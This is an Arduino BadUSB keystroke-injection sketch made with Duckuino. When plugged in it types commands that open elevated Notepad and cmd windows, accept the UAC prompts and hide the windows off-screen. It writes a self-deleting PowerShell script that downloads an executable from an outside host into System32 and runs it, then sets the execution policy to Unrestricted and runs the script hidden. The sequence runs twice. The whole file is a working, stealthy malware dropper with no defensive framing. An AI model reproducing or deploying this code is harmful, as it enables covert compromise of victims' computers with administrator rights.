/**
* Made with Duckuino, an open-source project.
* Check the license at 'https://github.com/Nurrl/Duckuino/blob/master/LICENSE'
*/
#include "Keyboard.h"
void typeKey(uint8_t key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
/* Init function */
void setup()
{
// Begining the Keyboard stream
Keyboard.begin();
// Wait 500ms
delay(500);
delay(750);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press("r");
Keyboard.releaseAll();
delay(1000);
Keyboard.print(F("powershell Start-Process notepad -Verb runAs"));
typeKey(KEY_RETURN);
delay(750);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press("y");
Keyboard.releaseAll();
delay(750);
typeKey(KEY_RETURN);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(' ');
Keyboard.releaseAll();
delay(1000);
Keyboard.print(F("m"));
delay(1000);
for(int i = 0; i < 100; i++) {
typeKey(KEY_DOWN_ARROW);
}
typeKey(KEY_RETURN);
Keyboard.print(F("(New-Object Net.Webclient).DownloadFile('https://eu77.hostblast.net:2083/cpsess0952502686/frontend/paper_lantern/filemanager/showfile.html?file=explorer.exe&fileop=&dir=%2Fhome%2Filovebot%2Fpublic_html%2Fups&dirop=&charset=&file_charset=&baseurl=&basedir=',\"C:\\Windows\\System32\\77298.exe\"); Start-Process -FilePath \"C:\\Windows\\System32\\77298.exe\""));
typeKey(KEY_RETURN);
Keyboard.print(F("Remove-Item $MyINvocation.InvocationName"));
typeKey(KEY_RETURN);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press("s");
Keyboard.releaseAll();
delay(1000);
Keyboard.print(F("C:\\Windows\\config-77298.ps1"));
typeKey(KEY_RETURN);
delay(1000);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F4);
Keyboard.releaseAll();
delay(750);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press("r");
Keyboard.releaseAll();
delay(750);
Keyboard.print(F("powershell Start-Process cmd -Verb runAs"));
typeKey(KEY_RETURN);
delay(750);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press("y");
Keyboard.releaseAll();
delay(1000);
Keyboard.print(F("mode con:cols=14 lines=1"));
typeKey(KEY_RETURN);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(' ');
Keyboard.releaseAll();
delay(750);
Keyboard.print(F("m"));
delay(750);
for(int i = 0; i < 100; i++) {
typeKey(KEY_DOWN_ARROW);
}
typeKey(KEY_RETURN);
Keyboard.print(F("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false"));
typeKey(KEY_RETURN);
delay(750);
Keyboard.print(F("powershell.exe -windowstyle hidden -File C:\\Windows\\config-77298.ps1"));
typeKey(KEY_RETURN);
delay(750);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press("r");
Keyboard.releaseAll();
delay(1000);
Keyboard.print(F("powershell Start-Process notepad -Verb runAs"));
typeKey(KEY_RETURN);
delay(750);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press("y");
Keyboard.releaseAll();
delay(750);
typeKey(KEY_RETURN);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(' ');
Keyboard.releaseAll();
delay(1000);
Keyboard.print(F("m"));
delay(1000);
for(int i = 0; i < 100; i++) {
typeKey(KEY_DOWN_ARROW);
}
typeKey(KEY_RETURN);
Keyboard.print(F("(New-Object Net.Webclient).DownloadFile('https://eu77.hostblast.net:2083/cpsess0952502686/frontend/paper_lantern/filemanager/showfile.html?file=explorer.exe&fileop=&dir=%2Fhome%2Filovebot%2Fpublic_html%2Fups&dirop=&charset=&file_charset=&baseurl=&basedir=',\"C:\\Windows\\System32\\76446.exe\"); Start-Process -FilePath \"C:\\Windows\\System32\\76446.exe\""));
typeKey(KEY_RETURN);
Keyboard.print(F("Remove-Item $MyINvocation.InvocationName"));
typeKey(KEY_RETURN);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press("s");
Keyboard.releaseAll();
delay(1000);
Keyboard.print(F("C:\\Windows\\config-76446.ps1"));
typeKey(KEY_RETURN);
delay(1000);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F4);
Keyboard.releaseAll();
delay(750);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press("r");
Keyboard.releaseAll();
delay(750);
Keyboard.print(F("powershell Start-Process cmd -Verb runAs"));
typeKey(KEY_RETURN);
delay(750);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press("y");
Keyboard.releaseAll();
delay(1000);
Keyboard.print(F("mode con:cols=14 lines=1"));
typeKey(KEY_RETURN);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(' ');
Keyboard.releaseAll();
delay(750);
Keyboard.print(F("m"));
delay(750);
for(int i = 0; i < 100; i++) {
typeKey(KEY_DOWN_ARROW);
}
typeKey(KEY_RETURN);
Keyboard.print(F("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false"));
typeKey(KEY_RETURN);
delay(750);
Keyboard.print(F("powershell.exe -windowstyle hidden -File C:\\Windows\\config-76446.ps1"));
typeKey(KEY_RETURN);
// Ending stream
Keyboard.end();
}
/* Unused endless loop */
void loop() {}